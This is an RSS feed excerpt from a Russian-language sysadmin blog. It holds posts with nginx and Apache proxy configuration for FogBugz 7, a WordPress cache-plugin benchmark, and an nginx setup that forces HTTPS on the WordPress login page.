<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ars Longa, Vita Brevis &#187; nginx</title>
	<atom:link href="http://blog.sjinks.pro/tag/nginx/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sjinks.pro</link>
	<description>Quod scripsi, scripsi</description>
	<lastBuildDate>Thu, 02 Sep 2010 17:48:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>FogBugz 7 и nginx</title>
		<link>http://blog.sjinks.pro/administring/799-fogbugz-7-nginx/</link>
		<comments>http://blog.sjinks.pro/administring/799-fogbugz-7-nginx/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 17:52:23 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Администрирование]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[FogBugz]]></category>
		<category><![CDATA[nginx]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=799</guid>
		<description><![CDATA[На днях переводил один сервер с Apache 2 на nginx, хочу поделиться рабочей конфигурацией nginx для FogBugz 7. Предположим, что у нас имеется сайт sitename.com, на котором установлен FogBugz (в sitename.com/fogbugz). Конфигурация Apache будет выглядеть следующим образом: &#60;IfModule !proxy_module&#62; LoadModule proxy_module /usr/lib/apache2/modules/mod_proxy.so &#60;/IfModule&#62; &#60;IfModule !proxy_http_module&#62; LoadModule proxy_http_module /usr/lib/apache2/modules/mod_proxy_http.so &#60;/IfModule&#62; #FogBugz uses the SERVER_HOST and SERVER_PORT headers to construct [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/administring/799-fogbugz-7-nginx/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<p>На днях переводил один сервер с Apache 2 на nginx, хочу поделиться рабочей конфигурацией nginx для FogBugz 7.<span id="more-799"></span></p>
<p>Предположим, что у нас имеется сайт <code>sitename.com</code>, на котором установлен FogBugz (в <code>sitename.com/fogbugz</code>).</p>
<p>Конфигурация Apache будет выглядеть следующим образом:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p7993">
        <div class="code apache" id="p799code3">
&lt;<span class="kw3">IfModule</span> !proxy_module&gt;<br />
<span class="kw1">LoadModule</span> proxy_module /usr/lib/apache2/modules/mod_proxy.so<br />
&lt;/<span class="kw3">IfModule</span>&gt;<br />
<br />
&lt;<span class="kw3">IfModule</span> !proxy_http_module&gt;<br />
<span class="kw1">LoadModule</span> proxy_http_module /usr/lib/apache2/modules/mod_proxy_http.so<br />
&lt;/<span class="kw3">IfModule</span>&gt;<br />
<br />
<span class="co1">#FogBugz uses the SERVER_HOST and SERVER_PORT headers to construct absolute redirect URLs for license install and page not found</span><br />
<span class="kw1">ProxyPreserveHost</span> <span class="kw2">On</span><br />
<br />
<span class="co1"># Always redirect to add trailing slash</span><br />
<span class="kw1">RedirectMatch</span> /fogbugz$ http://sitename.com/fogbugz/<br />
<br />
<span class="co1">#ProxyPass proxies the request, ProxyPassReverse adjusts the URLs of redirect responses</span><br />
<span class="kw1">ProxyPass</span> /fogbugz/ http://localhost:7066/fogbugz/<br />
<span class="kw1">ProxyPassReverse</span> /fogbugz/ http://localhost:<span class="nu0">7066</span>/fogbugz/<br />
<br />
<span class="co1">#The protocol in the following line should read 'http', even if you are proxying to FogBugz from https; please do not change it unless you know what you are doing.</span><br />
<span class="kw1">ProxyPassReverse</span> /fogbugz/ http://sitename.com/fogbugz/<br />
&lt;<span class="kw3">Proxy</span> http://localhost:7066/fogbugz* &gt;<br />
<span class="kw1">Order</span> <span class="kw1">deny</span>,<span class="kw1">allow</span><br />
<span class="kw1">Allow</span> from <span class="kw2">all</span><br />
&lt;/<span class="kw3">Proxy</span>&gt;<br />
<br />
<span class="co1">#Default proxy timeout of 21 minutes, 1 minute longer than the longest FogBugz page timeout</span><br />
<span class="kw1">ProxyTimeout</span> <span class="nu0">1260</span>
        </div>
    </div>
</div>

<p>Для nginx конфигурация будет проще:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p7994">
        <div class="code nginx" id="p799code4">
<span class="kw1">server</span> {<br />
<span class="co1"># ...</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> ~ /fogbugz$ {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">rewrite</span> .* http://sitename.com/fogbugz/ redirect;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> ^~ /fogbugz/ {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">proxy_set_header</span> Host $host;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">proxy_redirect</span> <span class="kw2">off</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">proxy_set_header</span> X-Forwarded-Host $host;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">proxy_set_header</span> X-Real-IP $remote_addr;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">proxy_set_header</span> X-Forwarded-For $proxy_add_x_forwarded_for;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">proxy_read_timeout</span> <span class="nu0">1260</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">proxy_pass</span> http://127.0.0.1:<span class="nu0">7066</span>;<br />
&nbsp; &nbsp; }<br />
}
        </div>
    </div>
</div>

<p>Надеюсь, кому-нибудь поможет.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/administring/799-fogbugz-7-nginx/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/wordpress/398-wordpress-replacing-apache-with-nginx/" title="WordPress: заменяем Apache nginx&#8217;ом (Ноябрь 25, 2008)">WordPress: заменяем Apache nginx&#8217;ом</a> (5)</li>
	<li><a href="http://blog.sjinks.pro/linux/515-the-most-fresh-nginx-for-ubuntu-amd64/" title="Самый свежий nginx для Ubuntu/AMD64 (Март 14, 2009)">Самый свежий nginx для Ubuntu/AMD64</a> (19)</li>
	<li><a href="http://blog.sjinks.pro/administring/700-apparmor-profile-for-nginx/" title="Профиль AppArmor для nginx (Ноябрь 21, 2009)">Профиль AppArmor для nginx</a> (4)</li>
	<li><a href="http://blog.sjinks.pro/mysql/502-counting-traffic-for-nginx-part-2/" title="Подсчёт трафика в nginx: часть 2 (Февраль 21, 2009)">Подсчёт трафика в nginx: часть 2</a> (5)</li>
	<li><a href="http://blog.sjinks.pro/mysql/488-counting-traffic-for-nginx/" title="Подсчет трафика в nginx (Январь 23, 2009)">Подсчет трафика в nginx</a> (9)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/administring/799-fogbugz-7-nginx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WP Super Cache vs MaxSite Cache: часть 2</title>
		<link>http://blog.sjinks.pro/wordpress/725-689-wp-super-cache-vs-maxsite-cache-part-2/</link>
		<comments>http://blog.sjinks.pro/wordpress/725-689-wp-super-cache-vs-maxsite-cache-part-2/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 08:23:41 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[FastCGI]]></category>
		<category><![CDATA[MaxSite Cache]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[WP Super Cache]]></category>
		<category><![CDATA[кэш]]></category>
		<category><![CDATA[производительность]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=725</guid>
		<description><![CDATA[Тест страничных кэшей на грамотно настроенном сервере Вторая часть статьи WP Super Cache vs MaxSite Cache. В предыдущей части я сравнивал поведение MaxSite Cache и WP Super Cache на тестовом VDS (512 MiB RAM, 10 GB HD, Intel Xeon X3320 (1 ядро), 2.5 GHz), на котором ни операционная система, ни программное обеспечение не были специально [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/wordpress/725-689-wp-super-cache-vs-maxsite-cache-part-2/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Тест страничных кэшей на грамотно настроенном сервере</em></h2>
<p><strong>Вторая часть статьи <a href="http://blog.sjinks.pro/wordpress/689-wp-super-cache-vs-maxsite-cache-part-1/">WP Super Cache vs MaxSite Cache</a></strong>.</p>
<p>В предыдущей части я сравнивал поведение MaxSite Cache и WP Super Cache на тестовом VDS (512 MiB RAM, 10 GB HD, Intel Xeon X3320 (1 ядро), 2.5 GHz), на котором ни операционная система, ни программное обеспечение не были специально настроены — бралась конфигурация «из коробки» и тестировалась. Одним словом, «VDS абсолютного чайника».</p>
<p>В этой части изменилась только конфигурация программного обеспечения: сервер настраивался на максимальную производительность.</p>
<p>В частности:</p>
<ul>
<li>отказ от Apache в пользу nginx и от <code>mod_php5</code> в пользу <code><a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>-fcgi</code> (количество FastCGI-процессов выбиралось таким образом, чтобы избежать использования файла подкачки);</li>
<li>смена ядра с <code>linux-image-server</code> на <code>linux-image-virtual</code>;</li>
<li>настройка MySQL: отказ от InnoDB (экономит примерно 100 МБ памяти), увеличение буфера ключей и т.п.;</li>
<li>установка и настройка xCache (я исходил из того, что далеко не все чувствуют себя комфортно при сборке программ из исходников, поэтому брал только готовое ПО);</li>
<li>настройка <span class="codebox"><code class="bash">iptables</code></span> для фильтрации пакетов.</li>
</ul>
<p><span id="more-725"></span></p>
<p>Методика тестирования осталась прежней: <a href="http://blog.sjinks.pro/linux/722-transform-sitemap-to-siege-url-list/">карта сайта преобразовывалась в список адресов</a>, на этот список натравливался <code>siege</code>, а я присматривал за сервером и вносил коррективы в конфигурацию ПО (да, с первого раза трудно всё настроить идеально).</p>
<p>Чтобы убедиться, что новая конфигурация <strong>не хуже</strong> старой, я полностью отключил кэширование и имитировал 50 одновременных посетителей в течение 15 минут. На момент выполнения теста у сервера было свободно 348.5 МиБ памяти.</p>
<table class="bordered" cellspacing="0" cellpadding="0" rules="all">
<thead>
<tr>
<th>&nbsp;</th>
<th><strong>Голый WordPress</strong></th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">Количество транзакций</th>
<td>4,825</td>
</tr>
<tr>
<th scope="row">Доступность сервера</th>
<td>99.98%</td>
</tr>
<tr>
<th scope="row">Объём данных, МБ</th>
<td>28.32</td>
</tr>
<tr>
<th scope="row">Среднее время ответа, с</th>
<td>9.23</td>
</tr>
<tr>
<th scope="row">Частота транзакций в секунду</th>
<td>5.36</td>
</tr>
<tr>
<th scope="row">Пропускная способность, МБ/с</th>
<td>0.03</td>
</tr>
<tr>
<th scope="row">Коэффициент параллельности</th>
<td>49.50</td>
</tr>
<tr>
<th scope="row">Максимальная длина транзакции, с</th>
<td>30.76</td>
</tr>
<tr>
<th scope="row">Минимальная длина транзакции, с</th>
<td>1.15</td>
</tr>
<tr>
<th scope="row">Максимальная загрузка процессора (system/user)</th>
<td>25.72%/68.39%</td>
</tr>
<tr>
<th scope="row">Load Average</th>
<td>40.81</td>
</tr>
<tr>
<th scope="row">Примерное потребление памяти, МиБ</th>
<td>414</td>
</tr>
</tbody>
</table>
<p>Данные загрузки/потребления памяти очень приблизительны. Хотя вряд ли пользователи станут ждать по 9 секунд загрузку страницы, радует, что сервер не ответил только на один запрос и не ушел в нокдаун. Простая экстраполяция показывает, что сервер выдержит примерно 463,000 обращения к <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">PHP</a>-страницам в сутки.</p>
<p>Мы убедились, что новая конфигурация вполне жизнеспособна (старой до неё, как до Китая в неудобной позе), переходим к тестированию плагинов.<br />
Тестирование проходило в 30 и 75 потоков. <strong>Я не разделял фазы построения и использования кэша</strong>.</p>
<table class="bordered" cellspacing="0" cellpadding="0" rules="all">
<thead>
<tr>
<th>&nbsp;</th>
<th><strong>MaxSite Cache</strong><br/>(30 потоков)</th>
<th><strong>MaxSite Cache</strong><br/>(75 потоков)</th>
<th><strong>WP Super Cache</strong><br/>(30 потоков, HALF ON)</th>
<th><strong>WP Super Cache</strong><br/>(30 потоков)</th>
<th><strong>WP Super Cache</strong><br/>(75 потоков)</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">Количество транзакций</th>
<td>176,684</td>
<td>182,604</td>
<td>5,069</td>
<td>198,160</td>
<td>189,686</td>
</tr>
<tr>
<th scope="row">Объём данных, МБ</th>
<td>1,062.24</td>
<td>1,099.60</td>
<td>29.99</td>
<td>1,202.95</td>
<td>1,147.33</td>
</tr>
<tr>
<th scope="row">Среднее время ответа, с</th>
<td>0.13</td>
<td>0.34</td>
<td>5.30</td>
<td>0.10</td>
<td>0.29</td>
</tr>
<tr>
<th scope="row">Частота транзакций в секунду</th>
<td>196.36</td>
<td>203.00</td>
<td>5.64</td>
<td>220.20</td>
<td>210.95</td>
</tr>
<tr>
<th scope="row">Пропускная способность, МБ/с</th>
<td>1.18</td>
<td>1.32</td>
<td>0.03</td>
<td>1.34</td>
<td>1.28</td>
</tr>
<tr>
<th scope="row">Коэффициент параллельности</th>
<td>25.42</td>
<td>69.32</td>
<td>29.85</td>
<td>23.05</td>
<td>62.16</td>
</tr>
<tr>
<th scope="row">Максимальная длина транзакции, с</th>
<td>21.08</td>
<td>26.12</td>
<td>15.06</td>
<td>22.78</td>
<td>25.03</td>
</tr>
<tr>
<th scope="row">Минимальная длина транзакции, с</th>
<td>0.00</td>
<td>0.00</td>
<td>0.48</td>
<td>0.00</td>
<td>0.00</td>
</tr>
<tr>
<th scope="row">Load Average</th>
<td>1.8</td>
<td>2.2</td>
<td>30.1</td>
<td>1.3</td>
<td>1.65</td>
</tr>
</tbody>
</table>
<p><strong>Краткие выводы:</strong> на грамотно настроенном сервере лидирует WP Super Cache — и по скорости, и по создаваемой нагрузке. Это связано с тем, что задача по отдаче закэшированного контента переложена на web-сервер. Так как web-сервер справляется со статикой быстрее, чем с динамикой, в результате получаем рост производительности и снижение нагрузки.</p>
<p>Если по той или иной причине WP Super Cache не может работать в режиме Full On, то MaxSite Cache будет всё же предпочтительнее — ввиду своей простоты он обладает исключительным быстродействием.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/wordpress/725-689-wp-super-cache-vs-maxsite-cache-part-2/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/wordpress/601-wp-supercache-under-high-load-part-2/" title="WP Super Cache и высокая нагрузка: часть 2 (Июль 29, 2009)">WP Super Cache и высокая нагрузка: часть 2</a> (16)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/683-wp-supercache-vs-hypercache-vs-w3-total-cache-vs-maxsite-cache/" title="WP Super Cache vs HyperCache vs W3 Total Cache vs MaxSite Cache (Ноябрь 6, 2009)">WP Super Cache vs HyperCache vs W3 Total Cache vs MaxSite Cache</a> (45)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/458-nginx-config-for-wordpress-look-from-the-gallery/" title="Конфигурация nginx для WordPress: критический взгляд со стороны (Декабрь 18, 2008)">Конфигурация nginx для WordPress: критический взгляд со стороны</a> (1)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/689-wp-super-cache-vs-maxsite-cache-part-1/" title="WP Super Cache vs MaxSite Cache: часть 1 (Ноябрь 14, 2009)">WP Super Cache vs MaxSite Cache: часть 1</a> (7)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/509-wp-supercache-nginx-replace-mod_rewrite-rules/" title="WP Super Cache + nginx: замена правил mod_rewrite (Февраль 27, 2009)">WP Super Cache + nginx: замена правил mod_rewrite</a> (5)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/wordpress/725-689-wp-super-cache-vs-maxsite-cache-part-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Безопасный логин в WordPress с использованием nginx</title>
		<link>http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/</link>
		<comments>http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 03:11:38 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[безопасность]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=716</guid>
		<description><![CDATA[Лишние плагины не нужны WordPress, начиная с версии 2.6, имеет улучшенную поддержку работы с HTTPS. У администратора есть две возможности: Использование HTTPS для работы в панели управления (wp-admin). Использование HTTPS только для входа в систему. Первое достигается путём добавления строки define(&#039;FORCE_SSL_ADMIN&#039;, true); в wp-config.php, второе — путём добавления строки define(&#039;FORCE_SSL_LOGIN&#039;, true); Добавляем одну из этих двух строк [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Лишние плагины не нужны</em></h2>
<p>WordPress, начиная с версии 2.6, имеет <a href="http://ryan.boren.me/2008/07/14/ssl-and-cookies-in-wordpress-26/">улучшенную поддержку</a> работы с <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a>.</p>
<p>У администратора есть две возможности:</p>
<ol>
<li>Использование <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a> для работы в панели управления (<code>wp-admin</code>).</li>
<li>Использование <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a> только для входа в систему.</li>
</ol>
<p>Первое достигается путём добавления строки</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71611">
        <div class="code php" id="p716code11">
<span class="kw1">define</span><span class="br0">&#40;</span><span class="st_h">'FORCE_SSL_ADMIN'</span><span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>в <code>wp-config.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a></code>, второе — путём добавления строки</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71612">
        <div class="code php" id="p716code12">
<span class="kw1">define</span><span class="br0">&#40;</span><span class="st_h">'FORCE_SSL_LOGIN'</span><span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>Добавляем одну из этих двух строк в <code>wp-config.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a></code> и проблема решена? Но в действительности всё не так, как на самом деле <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
<span id="more-716"></span></p>
<p>У <span title="Параноики">специалистов по информационной безопасности</span> существует негласное правило, по которому HTML-форма, передающая данные на <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a>-страницу, должна также находиться на <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a>-странице. Связано это с тем, что соединение, по которому передаются данные, может прослушиваться. В случае обычного HTTP-соединения злоумышленник может модифицировать передаваемую от сервера форму, заменив <code><a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">https</a></code> на <code>http</code>, что приведёт к тому, что форма будет отправлена по обычному (не зашифрованному) соединению, и злоумышленник сможет перехватить всю ценную информацию. Усугубляется это всё тем, что пользователь не может сказать, куда передаётся форма, не открыв исходный код страницы.</p>
<p>Для предотвращения подобного безобразия сама форма должна находиться на <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a>-страницы: злоумышленник не сможет изменить данные, передаваемые по зашифрованному каналу.</p>
<p>Казалось бы, при чём тут <s>Лужков</s> WordPress? Во-первых, WordPress даже при включённом <code>FORCE_SSL_LOGIN</code> не перенаправляет пользователя с <code>http://.../wp-login.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a></code> на <code><a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">https</a>://.../wp-login.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a></code>. А во-вторых, WordPress — это не только платформа для блоггинга, это еще и <a href="http://wordpress.org/development/2009/11/wordpress-wins-cms-award/">CMS</a>, на основе которой делаются всякие магазины и даже целые панели управления сайтами (да, я принимал участие в создании одной из таких панелей). Иными словами, платформы, где успешный перехват логина и пароля может привести к очень печальным последствиям.</p>
<p>Какие есть варианты? Самый простой — написать простой плагин, который сделает перенаправление с HTTP на <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a> для <code>wp-login.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a></code>. Но лишний <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">PHP</a>-код скорости работы не прибавляет, а потому не наш метод. Тем более, когда всё можно сделать на уровне сервера.</p>
<p>Рассмотрим на примере nginx.</p>
<p>В nginx есть две возможности настроить <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a>-сервер. <strong>Первая</strong> (она же наиболее часто используемая) — это задание отдельного виртуального хоста для HTTP- и <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a>-версий сайта. Что-то вида</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71613">
        <div class="code nginx" id="p716code13">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> example.com;<br />
<span class="co1">#...</span><br />
}<br />
<br />
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">443</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> example.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl</span> <span class="kw2">on</span>;<br />
<span class="co1">#...</span><br />
}
        </div>
    </div>
</div>

<p>В этом случае всё просто: нужно добавить следующие строки в виртуальный хост, отвечающий за HTTP:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71614">
        <div class="code nginx" id="p716code14">
<span class="kw1">location</span> = /wp-login.php {<br />
&nbsp; &nbsp; <span class="kw1">rewrite</span> .* https://example.com/wp-login.php <span class="kw1">break</span>;<br />
}
        </div>
    </div>
</div>

<p><strong>Вторая возможность</strong> — задать HTTP- и <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">HTTPS</a>-версию сайта в одном виртуальном хосте:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71615">
        <div class="code nginx" id="p716code15">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">listen</span> 443 <span class="kw1">ssl</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> example.com;<br />
<br />
<span class="co1"># Ни в коем случае нельзя задавать директиву ssl on</span><br />
<span class="co1">#...</span><br />
}
        </div>
    </div>
</div>

<p>В этом случае добавляемый код будет сложнее:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71616">
        <div class="code nginx" id="p716code16">
<span class="kw1">location</span> = /wp-login.php {<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($ssl_protocol = <span class="st0">&quot;&quot;</span>) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">rewrite</span> .* https://example.com/wp-login.php <span class="kw1">break</span>;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> ...;<br />
&nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /path/to/blog/wp-login.php;<br />
&nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_NAME /wp-login.php;<br />
}
        </div>
    </div>
</div>

<p>Очевидно, что в директивах <code>fastcgi_xxx</code> нужно указать свои пути.</p>
<p>После этого nginx будет автоматически перенаправлять посетителя с <code>http://.../wp-login.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a></code> на <code><a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Posts tagged with HTTPS">https</a>://.../wp-login.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a></code>. Таким образом и форма, и адрес отправления формы будут находиться на защищённых страницах.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/wordpress/tips-and-tricks/486-simultaneous-login-for-http-and-https/" title="WordPress: одновременный логин для HTTP и HTTPS (Январь 17, 2009)">WordPress: одновременный логин для HTTP и HTTPS</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/508-wordpress-nginx-disable-php-execution-in-uploads/" title="WordPress + nginx: запрет выполнения PHP-файлов в uploads (Февраль 25, 2009)">WordPress + nginx: запрет выполнения PHP-файлов в uploads</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/administring/700-apparmor-profile-for-nginx/" title="Профиль AppArmor для nginx (Ноябрь 21, 2009)">Профиль AppArmor для nginx</a> (4)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/691-redirect-rss-feeds-to-feedburner-with-nginx/" title="Перенаправление RSS в WordPress на FeedBurner для nginx (Ноябрь 13, 2009)">Перенаправление RSS в WordPress на FeedBurner для nginx</a> (0)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/718-oops-they-broke-it-again/" title="Опять сломали!!! (Декабрь 9, 2009)">Опять сломали!!!</a> (1)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Профиль AppArmor для nginx</title>
		<link>http://blog.sjinks.pro/administring/700-apparmor-profile-for-nginx/</link>
		<comments>http://blog.sjinks.pro/administring/700-apparmor-profile-for-nginx/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 06:46:39 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Администрирование]]></category>
		<category><![CDATA[AppArmor]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[безопасность]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=700</guid>
